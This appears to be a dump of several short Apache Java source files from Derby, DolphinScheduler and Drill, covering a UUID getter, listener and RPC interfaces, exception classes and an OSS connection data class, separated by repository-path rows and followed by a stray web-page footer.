Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to you under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package org.apache.derby.impl.services.uuid;
import org.apache.derby.iapi.services.io.FormatableInstanceGetter;
/**
**/
public class BasicUUIDGetter extends FormatableInstanceGetter
{
public Object getNewInstance() {
return new BasicUUID();
}
}
|
apache/derby | 1,138 | java/org.apache.derby.client/org/apache/derby/client/am/UnitOfWorkListener.java | /*
Derby - Class org.apache.derby.client.am.UnitOfWorkListener
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package org.apache.derby.client.am;
import java.util.Iterator;
public interface UnitOfWorkListener {
public void listenToUnitOfWork();
public void completeLocalCommit(Iterator listenerIterator);
public void completeLocalRollback(Iterator listenerIterator);
}
|
apache/dolphinscheduler | 1,067 | dolphinscheduler-storage-plugin/dolphinscheduler-storage-oss/src/main/java/org/apache/dolphinscheduler/plugin/storage/oss/OssConnection.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.dolphinscheduler.plugin.storage.oss;
import lombok.AllArgsConstructor;
import lombok.Data;
@Data
@AllArgsConstructor
public class OssConnection {
public String accessKeyId;
public String accessKeySecret;
public String endPoint;
}
|
apache/dolphinscheduler | 1,099 | dolphinscheduler-master/src/main/java/org/apache/dolphinscheduler/server/master/exception/MasterException.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.dolphinscheduler.server.master.exception;
public class MasterException extends Exception {
public MasterException(String message) {
super(message);
}
public MasterException(String message, Throwable throwable) {
super(message, throwable);
}
}
|
apache/drill | 1,135 | exec/java-exec/src/main/java/org/apache/drill/exec/exception/OptimizerException.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.drill.exec.exception;
import org.apache.drill.exec.work.foreman.ForemanSetupException;
public class OptimizerException extends ForemanSetupException {
public OptimizerException(String message, Throwable cause) {
super(message, cause);
}
public OptimizerException(String s) {
super(s);
}
}
|
apache/drill | 1,152 | exec/rpc/src/main/java/org/apache/drill/exec/rpc/DrillRpcFuture.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.drill.exec.rpc;
import io.netty.buffer.ByteBuf;
import org.apache.drill.common.concurrent.CheckedFuture;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public interface DrillRpcFuture<T> extends CheckedFuture<T, RpcException> {
Logger logger = LoggerFactory.getLogger(DrillRpcFuture.class);
ByteBuf getBuffer();
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.